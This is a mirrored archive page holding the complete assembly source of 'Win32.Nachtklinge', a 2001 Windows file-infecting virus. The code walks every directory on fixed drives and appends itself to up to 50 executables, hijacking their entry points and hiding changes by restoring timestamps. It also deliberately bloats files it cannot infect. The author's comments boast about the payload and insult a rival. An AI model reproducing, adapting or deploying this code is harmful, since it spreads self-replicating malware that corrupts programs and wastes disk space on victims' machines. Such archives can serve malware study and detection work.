mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
694 lines
15 KiB
NASM
694 lines
15 KiB
NASM
;
|
|
; Name: Win32.Nachtklinge
|
|
;
|
|
; Type: Runtime PE-Infector
|
|
;
|
|
; Coder: BeLiAL/bcvg
|
|
;
|
|
; Comment: - Eats HD-space (when win32.nachtklinge finds a file which is
|
|
; already infected or not infectable, the filesize will increased (60kb))
|
|
; - Infects first 50 files on all HDs in all dirs !!
|
|
; - Nachtklinge has a bug, it crashes on some files, but
|
|
; i dunno wether it was my fault or the coder of the file
|
|
; was cleverer than i was ;)
|
|
;
|
|
; Greetings: Greetings go out to the whole BlackCat group, espacially to Dr_T and
|
|
; SatanicC0der
|
|
; also a "hello" to toro, Sinist3r and cwarrior alias daniel'
|
|
;
|
|
; One important thing: Puppet on Undernet (#winnuke) is totally lame (he is the coder of
|
|
; NukeNabber). When u see him, give him greetings from me and
|
|
; congratulate him to his amazing coding skills.
|
|
;
|
|
;
|
|
; BeLiAL 2001
|
|
; http://home.foni.net/~belial
|
|
;
|
|
;
|
|
;
|
|
; Schwarz verbreitet sich in meinem Kopf
|
|
; ganz aufgequollen, mein Augenlicht zersetzt,
|
|
; das Herz verbrennt im weißen Nichts,
|
|
; und doch es wird...
|
|
|
|
.386
|
|
.model flat
|
|
|
|
Extrn ExitProcess:Proc
|
|
|
|
virussize EQU offset virusend - offset start
|
|
MAX_PATH EQU 260
|
|
DIR_ATTRIB EQU 10h
|
|
DRIVE_FIXED EQU 3h
|
|
|
|
.data
|
|
|
|
db 0
|
|
|
|
.code
|
|
|
|
start:
|
|
|
|
call deltastuff
|
|
|
|
deltastuff:
|
|
pop ebp
|
|
sub ebp,offset deltastuff
|
|
|
|
mov eax,dword ptr [ebp+old_entry]
|
|
mov dword ptr [ebp+old_entry_save],eax
|
|
|
|
call locate_kernel ;copies kernel address to eax
|
|
mov dword ptr [ebp+kerneloffset],eax
|
|
|
|
call get_export_table ;expects kernel address in eax
|
|
|
|
lea eax,[ebp+offset LoadLibrary]
|
|
call get_kernel_api ;find an API in kernel
|
|
|
|
lea eax,[ebp+offset GetProcAddress]
|
|
call get_kernel_api
|
|
|
|
call get_apis
|
|
|
|
mov byte ptr [ebp+infection_counter],0
|
|
|
|
pop eax
|
|
push eax
|
|
mov dword ptr [ebp+stackshit],eax
|
|
|
|
lea eax,[ebp+offset directorybuffer]
|
|
push eax
|
|
push 256
|
|
call [ebp+GetCurrentDirectory]
|
|
|
|
new_round:
|
|
|
|
lea eax,[ebp+offset thedrive]
|
|
push eax
|
|
call [ebp+SetCurrentDirectory]
|
|
cmp eax,0
|
|
je exit_routine
|
|
|
|
call InfectCurrentDir
|
|
|
|
findfirstdir:
|
|
|
|
lea eax,[ebp+FindFileData]
|
|
push eax
|
|
lea eax,[ebp+offset dirstring]
|
|
push eax
|
|
call [ebp+FindFirstFile]
|
|
mov dword ptr [ebp+dirhandle],eax
|
|
inc eax
|
|
jz go_one_down
|
|
cmp word ptr [ebp+FindFileData.cFileName],2e2eh
|
|
je findnextdir1
|
|
cmp word ptr [ebp+FindFileData.cFileName],002eh
|
|
je findnextdir1
|
|
cmp dword ptr [ebp+FindFileData.dwFileAttributes],DIR_ATTRIB
|
|
jne findnextdir1
|
|
push dword ptr [ebp+dirhandle]
|
|
lea eax,[ebp+offset FindFileData.cFileName]
|
|
push eax
|
|
call [ebp+SetCurrentDirectory]
|
|
call InfectCurrentDir
|
|
jmp findfirstdir
|
|
|
|
findnextdir1:
|
|
mov eax,dword ptr [ebp+dirhandle]
|
|
|
|
findnextdir:
|
|
lea ebx,[ebp+offset FindFileData]
|
|
push ebx
|
|
push eax
|
|
call [ebp+FindNextFile]
|
|
test eax,eax
|
|
jz go_one_down
|
|
cmp word ptr [ebp+FindFileData.cFileName],2e2eh
|
|
je findnextdir1
|
|
cmp word ptr [ebp+FindFileData.cFileName],2e00h
|
|
je findnextdir1
|
|
cmp word ptr [FindFileData.cFileName],002eh
|
|
je findnextdir1
|
|
cmp dword ptr [ebp+FindFileData.dwFileAttributes],DIR_ATTRIB
|
|
jne findnextdir1
|
|
push dword ptr [ebp+dirhandle]
|
|
lea eax,[ebp+offset FindFileData.cFileName]
|
|
push eax
|
|
call [ebp+SetCurrentDirectory]
|
|
call InfectCurrentDir
|
|
jmp findfirstdir
|
|
|
|
exit_routine:
|
|
|
|
add byte ptr [ebp+thedrive],1
|
|
lea eax,[ebp+offset thedrive]
|
|
push eax
|
|
call [ebp+GetDriveType]
|
|
cmp eax,DRIVE_FIXED
|
|
je new_round
|
|
|
|
lea eax,[ebp+offset directorybuffer]
|
|
push eax
|
|
call [ebp+SetCurrentDirectory]
|
|
jmp return_host
|
|
|
|
go_one_down:
|
|
|
|
lea eax,[ebp+offset dotdot]
|
|
push eax
|
|
call [ebp+SetCurrentDirectory]
|
|
|
|
push dword ptr [ebp+dirhandle]
|
|
call [ebp+FindClose]
|
|
|
|
pop eax
|
|
mov dword ptr [ebp+dirhandle],eax
|
|
mov ebx,dword ptr [ebp+stackshit]
|
|
cmp eax,ebx
|
|
jne findnextdir1
|
|
push eax
|
|
jmp exit_routine
|
|
|
|
return_host:
|
|
|
|
cmp ebp,0
|
|
jne not1stgeneration
|
|
push 0
|
|
call ExitProcess
|
|
|
|
not1stgeneration:
|
|
mov eax,dword ptr [ebp+old_entry_save]
|
|
jmp eax
|
|
|
|
;------------------------------procedures----------------------------------------
|
|
|
|
locate_kernel proc
|
|
mov dword ptr [ebp+stack_buffer],ebx
|
|
|
|
pop ebx
|
|
pop eax
|
|
push eax
|
|
push ebx
|
|
mov ax,0000h
|
|
|
|
is_this_mz:
|
|
|
|
cmp word ptr [eax],'ZM'
|
|
je found_mz
|
|
sub eax,10000h
|
|
jmp is_this_mz
|
|
|
|
found_mz:
|
|
|
|
mov ebx,dword ptr [ebp+stack_buffer]
|
|
ret
|
|
|
|
stack_buffer dd 0
|
|
|
|
endp
|
|
|
|
get_export_table proc
|
|
pushad
|
|
|
|
mov ebx,dword ptr [eax+3ch]
|
|
add eax,ebx
|
|
cmp word ptr [eax],'EP'
|
|
jne prepare_for_jumping_back
|
|
|
|
mov esi,dword ptr [eax+78h] ;go to exporttable
|
|
add esi,dword ptr [ebp+kerneloffset]
|
|
|
|
add esi,1ch
|
|
mov eax,dword ptr [esi]
|
|
add eax,dword ptr [ebp+kerneloffset] ;Offset of RVA of the function_names_table
|
|
mov [ebp+dword ptr Api_Adress_Table],eax
|
|
|
|
add esi,4
|
|
mov eax,dword ptr [esi]
|
|
add eax,dword ptr [ebp+kerneloffset] ;Offset of RVA of the function_names_table
|
|
mov [ebp+dword ptr Api_Name_Table],eax
|
|
|
|
add esi,4
|
|
mov eax,dword ptr [esi]
|
|
add eax,dword ptr [ebp+kerneloffset] ;Offset of RVA of the function_names_table
|
|
mov [ebp+dword ptr Api_Ordinary_Table],eax
|
|
|
|
popad
|
|
ret
|
|
|
|
prepare_for_jumping_back:
|
|
|
|
popad
|
|
pop eax
|
|
jmp return_host
|
|
|
|
endp
|
|
|
|
get_kernel_api proc
|
|
pushad
|
|
|
|
push eax
|
|
add eax,4
|
|
call get_string_lenght
|
|
mov dword ptr [ebp+Current_API_Lenght],eax
|
|
pop eax
|
|
mov ebx,dword ptr [ebp+Api_Name_Table]
|
|
mov edx,0
|
|
|
|
string_find_loop:
|
|
mov ecx,dword ptr [ebp+Current_API_Lenght]
|
|
lea esi,[eax+4]
|
|
mov edi,dword ptr [ebx]
|
|
add edi,dword ptr [ebp+kerneloffset]
|
|
rep cmpsb
|
|
je found_API_string
|
|
add edx,1
|
|
add ebx,4
|
|
jmp string_find_loop
|
|
|
|
found_API_string:
|
|
|
|
shl edx,1
|
|
add edx,dword ptr [ebp+Api_Ordinary_Table]
|
|
mov ebx,0
|
|
mov bx,word ptr [edx]
|
|
|
|
shl bx,2
|
|
add ebx,dword ptr [ebp+Api_Adress_Table]
|
|
mov edx,dword ptr [ebx]
|
|
add edx,dword ptr [ebp+kerneloffset]
|
|
mov dword ptr [eax],edx
|
|
|
|
popad
|
|
ret
|
|
|
|
endp
|
|
|
|
get_string_lenght proc ;offset of string in eax
|
|
|
|
push ecx
|
|
mov ecx,0
|
|
|
|
find_the_end_again:
|
|
|
|
cmp byte ptr [eax],00h
|
|
je found_lenght
|
|
inc ecx
|
|
inc eax
|
|
jmp find_the_end_again
|
|
|
|
found_lenght:
|
|
|
|
mov eax,ecx
|
|
pop ecx
|
|
|
|
ret
|
|
|
|
endp
|
|
|
|
|
|
get_apis proc
|
|
pushad
|
|
|
|
lea eax,[ebp+offset kernel32]
|
|
push eax
|
|
call [ebp+LoadLibrary]
|
|
mov dword ptr [ebp+kernelmodulhandle],eax
|
|
|
|
mov ebx,eax
|
|
lea edx,[ebp+offset CreateFile]
|
|
|
|
find_the_next_one:
|
|
|
|
push edx
|
|
push ebx
|
|
add edx,4
|
|
push edx
|
|
push ebx
|
|
call [ebp+GetProcAddress]
|
|
pop ebx
|
|
pop edx
|
|
mov dword ptr [edx],eax
|
|
cmp eax,0
|
|
je prepare_for_jumping_back
|
|
add edx,4
|
|
mov eax,edx
|
|
call get_string_lenght
|
|
add edx,eax
|
|
inc edx
|
|
cmp byte ptr [edx],'e'
|
|
je found_them_all
|
|
jmp find_the_next_one
|
|
|
|
found_them_all:
|
|
|
|
popad
|
|
ret
|
|
|
|
endp
|
|
|
|
InfectCurrentDir proc
|
|
pushad
|
|
|
|
findfirstfile:
|
|
|
|
lea eax,[ebp+offset FindFileData]
|
|
push eax
|
|
lea eax,[ebp+offset exestring]
|
|
push eax
|
|
call [ebp+FindFirstFile]
|
|
mov dword ptr [ebp+findfilehandle],eax
|
|
inc eax
|
|
jz no_files_left
|
|
jmp infect_the_file
|
|
|
|
find_next_file:
|
|
|
|
lea eax,[ebp+offset FindFileData]
|
|
push eax
|
|
push dword ptr [ebp+findfilehandle]
|
|
call [ebp+FindNextFile]
|
|
test eax,eax
|
|
jz no_files_left
|
|
|
|
infect_the_file:
|
|
|
|
push 0
|
|
push 0
|
|
push 3
|
|
push 0
|
|
push 1
|
|
push 80000000h + 40000000h
|
|
lea eax,[ebp+offset FindFileData.cFileName]
|
|
push eax
|
|
call [ebp+CreateFile]
|
|
cmp eax,0ffffffffh
|
|
je find_next_file
|
|
mov dword ptr [ebp+filehandle],eax
|
|
|
|
lea eax,[ebp+offset lastwrite]
|
|
push eax
|
|
lea eax,[ebp+offset lastaccess]
|
|
push eax
|
|
lea eax,[ebp+offset creationtime]
|
|
push eax
|
|
push dword ptr [ebp+filehandle]
|
|
call [ebp+GetFileTime]
|
|
|
|
push 0
|
|
push dword ptr [ebp+filehandle]
|
|
call [ebp+GetFileSize]
|
|
mov dword ptr [ebp+filesize],eax
|
|
|
|
add eax,virussize
|
|
push eax
|
|
|
|
push 0
|
|
push eax
|
|
push 0
|
|
push 4
|
|
push 0
|
|
push dword ptr [ebp+filehandle]
|
|
call [ebp+CreateFileMapping]
|
|
mov dword ptr [ebp+filemaphandle],eax
|
|
|
|
pop ebx ;not silly, just a personal note
|
|
|
|
push ebx
|
|
push 0
|
|
push 0
|
|
push 2
|
|
push eax
|
|
call [ebp+MapViewOfFile]
|
|
mov dword ptr [ebp+filemapaddress],eax
|
|
|
|
;The infection starts here!!!!!!!
|
|
|
|
cmp word ptr [eax+38h],';;'
|
|
je make_file_bigger
|
|
|
|
mov word ptr [eax+38h],';;'
|
|
mov ebx,dword ptr [eax+3ch]
|
|
add eax,ebx
|
|
cmp word ptr [eax],'EP'
|
|
jne close_handles
|
|
|
|
mov ebx,dword ptr [eax+28h] ;file entry point
|
|
add ebx,dword ptr [eax+34h] ;+image base
|
|
mov dword ptr [ebp+old_entry],ebx ;=old entry point ;)
|
|
mov ebx,dword ptr [eax+3ch]
|
|
mov dword ptr [ebp+file_alignment],ebx
|
|
|
|
xor edx,edx
|
|
mov dx,word ptr [eax+14h] ;size of optional_header
|
|
add edx,eax
|
|
add edx,18h ;size of image_header
|
|
;the section-headers begin in edx
|
|
push eax
|
|
push edx
|
|
;number of sections = eax+6h
|
|
mov cx,word ptr [eax+6h]
|
|
mov ax,cx ;nr of sections in ax
|
|
dec ax ;first section is section number 0
|
|
xor ecx,ecx
|
|
mov word ptr [ebp+section_counter],0
|
|
|
|
find_last_section:
|
|
mov ebx,dword ptr [edx+14h]
|
|
cmp ebx,ecx
|
|
jz not_bigger
|
|
|
|
section_bigger:
|
|
mov si,word ptr [ebp+section_counter]
|
|
|
|
not_bigger:
|
|
cmp ax,word ptr [ebp+section_counter]
|
|
je found_last_section
|
|
add word ptr [ebp+section_counter],1
|
|
mov ecx,dword ptr [edx+14h]
|
|
add edx,28h
|
|
jmp find_last_section
|
|
|
|
found_last_section:
|
|
mov eax,28h
|
|
xor ecx,ecx
|
|
mov cx,si
|
|
mul ecx
|
|
pop edx
|
|
add edx,eax
|
|
pop eax ;eax=offset PE edx=offset last section header
|
|
|
|
or dword ptr [edx+24h],00000020h
|
|
or dword ptr [edx+24h],20000000h
|
|
or dword ptr [edx+24h],80000000h ;changed the attributes of the last section
|
|
|
|
mov ebx,dword ptr [edx+8h]
|
|
mov dword ptr [ebp+old_section_size],ebx
|
|
add ebx,virussize
|
|
add dword ptr [edx+8h],ebx ;virtualsize is patched and saved
|
|
|
|
mov ebx,dword ptr [edx+10h]
|
|
mov dword ptr [ebp+old_raw_size],ebx
|
|
push eax
|
|
push edx
|
|
mov eax,dword ptr [edx+8h]
|
|
xor edx,edx
|
|
mov ebx,dword ptr [ebp+file_alignment]
|
|
div ebx
|
|
sub ebx,edx
|
|
pop edx
|
|
pop eax
|
|
mov ecx,dword ptr [edx+8h]
|
|
add ecx,ebx
|
|
mov dword ptr [edx+10h],ecx ;size of raw data patched and saved
|
|
|
|
mov ebx,dword ptr [edx+0ch]
|
|
add ebx,dword ptr [ebp+old_section_size]
|
|
mov dword ptr [eax+28h],ebx ;now we have a new entry point
|
|
|
|
mov ebx,dword ptr [edx+10h]
|
|
add ebx,dword ptr [ebp+old_raw_size]
|
|
add ebx,1000h
|
|
add dword ptr [eax+50h],ebx ;size_of_image is patched
|
|
|
|
mov ebx,dword ptr [edx+14h]
|
|
add ebx,dword ptr [ebp+old_section_size]
|
|
add ebx,dword ptr [ebp+filemapaddress]
|
|
|
|
mov edi,ebx
|
|
lea esi,[ebp+offset start]
|
|
mov ecx,virussize
|
|
rep movsb ;virus is at the end
|
|
add byte ptr [ebp+infection_counter],1
|
|
jmp close_handles
|
|
|
|
make_file_bigger:
|
|
|
|
push dword ptr [ebp+filemapaddress]
|
|
call [ebp+UnmapViewOfFile]
|
|
|
|
push dword ptr [ebp+filemaphandle]
|
|
call [ebp+CloseHandle]
|
|
|
|
mov eax,dword ptr [ebp+filesize]
|
|
add eax,0ffffh
|
|
|
|
push eax
|
|
|
|
push 0
|
|
push eax
|
|
push 0
|
|
push 4
|
|
push 0
|
|
push dword ptr [ebp+filehandle]
|
|
call [ebp+CreateFileMapping]
|
|
mov dword ptr [ebp+filemaphandle],eax
|
|
|
|
pop ebx ;saw it already anywhere else ? ;)
|
|
|
|
push ebx
|
|
push 0
|
|
push 0
|
|
push 2
|
|
push eax
|
|
call [ebp+MapViewOfFile]
|
|
mov dword ptr [ebp+filemapaddress],eax
|
|
|
|
close_handles:
|
|
|
|
push dword ptr [ebp+filemapaddress]
|
|
call [ebp+UnmapViewOfFile]
|
|
|
|
push dword ptr [ebp+filemaphandle]
|
|
call [ebp+CloseHandle]
|
|
|
|
lea eax,[ebp+offset lastwrite]
|
|
push eax
|
|
lea eax,[ebp+offset lastaccess]
|
|
push eax
|
|
lea eax,[ebp+offset creationtime]
|
|
push eax
|
|
push dword ptr [ebp+filehandle]
|
|
call [ebp+SetFileTime]
|
|
|
|
push dword ptr [ebp+filehandle]
|
|
call [ebp+CloseHandle]
|
|
|
|
cmp byte ptr [ebp+infection_counter],50
|
|
jne find_next_file
|
|
popad
|
|
clear_stack:
|
|
pop eax
|
|
cmp eax,dword ptr [ebp+stackshit]
|
|
jne clear_stack
|
|
jmp return_host
|
|
|
|
no_files_left:
|
|
|
|
push dword ptr [ebp+findfilehandle]
|
|
call [ebp+FindClose]
|
|
|
|
popad
|
|
ret
|
|
|
|
endp
|
|
|
|
|
|
;-----------------------------------variables----------------------------
|
|
|
|
kerneloffset dd 0
|
|
Api_Adress_Table dd 0
|
|
Api_Name_Table dd 0
|
|
Api_Ordinary_Table dd 0
|
|
|
|
Current_API_Lenght dd 0
|
|
LoadLibrary dd 0
|
|
LoadLibrary_ db "LoadLibraryA",0
|
|
GetProcAddress dd 0
|
|
GetProcAddress_ db "GetProcAddress",0
|
|
|
|
kernel32 db "kernel32.dll",0
|
|
kernelmodulhandle dd 0
|
|
|
|
CreateFile dd 0
|
|
CreateFile_ db "CreateFileA",0
|
|
CreateFileMapping dd 0
|
|
CreateFileMapping_ db "CreateFileMappingA",0
|
|
MapViewOfFile dd 0
|
|
MapViewOfFile_ db "MapViewOfFile",0
|
|
CloseHandle dd 0
|
|
CloseHandle_ db "CloseHandle",0
|
|
FindClose dd 0
|
|
FindClose_ db "FindClose",0
|
|
UnmapViewOfFile dd 0
|
|
UnmapViewOfFile_ db "UnmapViewOfFile",0
|
|
FindFirstFile dd 0
|
|
FindFirstFile_ db "FindFirstFileA",0
|
|
FindNextFile dd 0
|
|
FindNextFile_ db "FindNextFileA",0
|
|
GetFileSize dd 0
|
|
GetFileSize_ db "GetFileSize",0
|
|
GetFileTime dd 0
|
|
GetFileTime_ db "GetFileTime",0
|
|
SetFileTime dd 0
|
|
SetFileTime_ db "SetFileTime",0
|
|
GetCurrentDirectory dd 0
|
|
db "GetCurrentDirectoryA",0
|
|
SetCurrentDirectory dd 0
|
|
db "SetCurrentDirectoryA",0
|
|
GetDriveType dd 0
|
|
db "GetDriveTypeA",0
|
|
|
|
db "e"
|
|
|
|
findfilehandle dd 0
|
|
dirhandle dd 0
|
|
filehandle dd 0
|
|
filemaphandle dd 0
|
|
filemapaddress dd 0
|
|
exestring db "*.exe",0
|
|
dirstring db "*.*",0
|
|
filesize dd 0
|
|
old_entry dd 0
|
|
file_alignment dd 0
|
|
section_counter dw 0
|
|
old_section_size dd 0
|
|
old_raw_size dd 0
|
|
old_entry_save dd 0
|
|
|
|
db "Win9x.Nachtklinge coded by BeLiAL/bcvg"
|
|
stackshit dd 0
|
|
directorybuffer db 256 dup (1)
|
|
thedrive db "c:\",0
|
|
dotdot db "..",0
|
|
infection_counter db 0
|
|
|
|
FILETIME struct
|
|
dwLowDateTime DWORD ?
|
|
dwHighDateTime DWORD ?
|
|
FILETIME ends
|
|
|
|
WIN32_FIND_DATA struct
|
|
dwFileAttributes DWORD ?
|
|
ftCreationTime FILETIME <>
|
|
ftLastAccessTime FILETIME <>
|
|
ftLastWriteTime FILETIME <>
|
|
nFileSizeHigh DWORD ?
|
|
nFileSizeLow DWORD ?
|
|
dwReserved0 DWORD ?
|
|
dwReserved1 DWORD ?
|
|
cFileName BYTE MAX_PATH dup(?)
|
|
cAlternate BYTE 0eh dup(?)
|
|
ends
|
|
|
|
FindFileData WIN32_FIND_DATA <>
|
|
lastwrite FILETIME <>
|
|
lastaccess FILETIME <>
|
|
creationtime FILETIME <>
|
|
|
|
db "Follow the Black Cat"
|
|
virusend label near
|
|
|
|
end start |